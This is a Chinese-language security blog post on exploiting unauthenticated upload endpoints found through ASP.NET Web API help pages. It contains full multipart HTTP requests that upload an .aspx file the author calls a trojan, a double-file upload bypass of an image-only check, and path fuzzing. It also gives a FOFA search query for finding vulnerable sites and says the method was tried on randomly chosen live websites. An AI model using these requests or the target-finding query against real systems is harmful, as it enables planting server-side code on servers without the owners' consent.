前段时间在一次攻防演练中发现有几个资产目标使用的是ASP.NET Web API,当时以为是一个简单的未授权漏洞,后面想着可不可以利用帮助文档中的upload上传接口,对数据包进行一个简单的构造进行一个文件上传呢,于是产生了这篇文章
根据Microsoft官方文档给出的解释如下: The ASP.NET Web API Help Page automatically generates help page content for the web APIs on your site. Visitors to your help page can use this content to learn how to call your web APIs. Everything generated by the help page is fully customizable using ASP.NET MVC and Razor. ASP.NET Web API Help Page is a great addition to any ASP.NET Web API project.
简单来说就是: ASP.NET Web API 帮助页面是任何 ASP.NET Web API 项目的绝佳补充
那么创建ASP.NET Web API 创建帮助页面有什么用呢?根据Microsoft给出的解释如下: When you create a web API, it is often useful to create a help page, so that other developers will know how to call your API. You could create all of the documentation manually, but it is better to autogenerate as much as possible. To make this task easier, ASP.NET Web API provides a library for auto-generating help pages at run time.
最后得到的界面如下
又或者是如下
我们此次需要构造的是文件上传包,我们全局搜索upload、上传、文件,file等相关字样
可以看到如图所示我们找到了相关的字样
根据文档提示:我们可以看出此处文档上传构造方式也比较简单,那么我们接下来就要进行一个post参数的构造,手工构造比较麻烦,这时候我想起了开发者常用的一个工具postman,关于postman,我在这里也简单进行一个介绍: Postman是一个接口测试工具,在做接口测试的时候,Postman相当于一个客户端,它可以模拟用户发起的各类HTTP请求,将请求数据发送至服务端,获取对应的响应结果, 从而验证响应中的结果数据是否和预期值相匹配;并确保开发人员能够及时处理接口中的bug,进而保证产品上线之后的稳定性和安全性。 它主要是用来模拟各种HTTP请求的(如:get/post/delete/put..等等),Postman与浏览器的区别在于有的浏览器不能输出Json格式,而Postman更直观接口返回的结果。
关于如何使用,我这里引用了一遍博主的文章文章地址如下
https://blog.csdn.net/weixin_48421613/article/details/118356645
最后选择send发送
可以看出我们此时的文件已经上传成功,但是路径找不到先简单fuzz一波
经过简单的fuzz我得到了一个叫UpLoadFiles路径
这不得不佩服我的字典的强大,当然也归功于平时的归纳总结
http://192.168.22.23/UpLoadFiles/20220907112814test11.aspx
通过对postman代理的设置
我们抓包看一下这个数据包的构成
POST /xxxx/ImgFormUpload HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: xxxxxxxxxxxxx
Host: 192.168.22.23
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------997110380267407431328989
Content-Length: 255
----------------------------997110380267407431328989
Content-Disposition: form-data; name=""; filename="test11.aspx"
Content-Type: application/octet-stream
<% response.write ("Hello World")%>
----------------------------997110380267407431328989--
用burp重放一下
这不得思考一个问题?这次是路径是我自己fuzz出来的,有没有其他的接口能直接返回路径呢?
经过一番的寻找,我找到了一处
发现这里根本只能上传图片
尝试上传图片试一下
可以看出上传图片返回了路径,想办法绕过经过一番实验,我发现可以使用asp站点经常使用的双文件上传绕过
构造如下
此时的数据包如下
POST /xxxxx/UpLoadImgToNews HTTP/1.1 User-Agent: PostmanRuntime/7.29.2 Accept: */* Postman-Token: xxxxxxxxxxxxxxx Host: 192.168.22.23 Accept-Encoding: gzip, deflate Connection: close Content-Type: multipart/form-data; boundary=--------------------------747868501381474511362162 Content-Length: 6482 ----------------------------747868501381474511362162 Content-Disposition: form-data; name=""; filename="test11.aspx" Content-Type: application/octet-stream <% response.write ("Hello World")%> ----------------------------747868501381474511362162 Content-Disposition: form-data; name=""; filename="hha.jpg" Content-Type: image/jpeg ¹6¼ÜíÔã0ØpáaËĵCd®z á¡édXluH#q^ÃwfD¼«¯ N Oî¬!UbµesKyìEËrßèPÔàÂÐNê¨!õÒöÑðÊÂ¥_f_ëÚq¹=jà?&¶^ì Ru!ö{#füi_øSá/éw ï;°ôì «¬¦_d¡¤Sȵ!uC´ØY¬=ÇøÔ ¸Ï( ----------------------------747868501381474511362162--
返回包
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type,Origin, X-Requested-With
Date: Wed, 07 Sep 2022 04:29:16 GMT
Connection: close
Content-Length: 26
"/upload/20220907/hha.jpg"
木马路径:http://192.168.22.23//upload/20220907/test11.aspx
fofa:"Web API " && icon_hash="1772087922"
经过随机测试了几个网站发现都可以用此类似的方法进行一个文件上传,有些站点直接返回路径
test1:
postman构造请求
POST /api/Files/PostFiles HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: xxxxxxxxxxxxxxx
Host: xxxxxxxxxxx
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------076647936634298195979552
Content-Length: 255
----------------------------076647936634298195979552
Content-Disposition: form-data; name=""; filename="test11.aspx"
Content-Type: application/octet-stream
<% response.write ("Hello World")%>
----------------------------076647936634298195979552--
总结一下:
0x1:如果网站有鉴权这需要利用其他接口获取管理员token,有的可以,有的不行
0x2:个人感觉这个洞比较鸡肋,因为现在很多网站都做了鉴权处理,一定程度上还需要运气
https://blog.csdn.net/weixin_48421613/article/details/118356645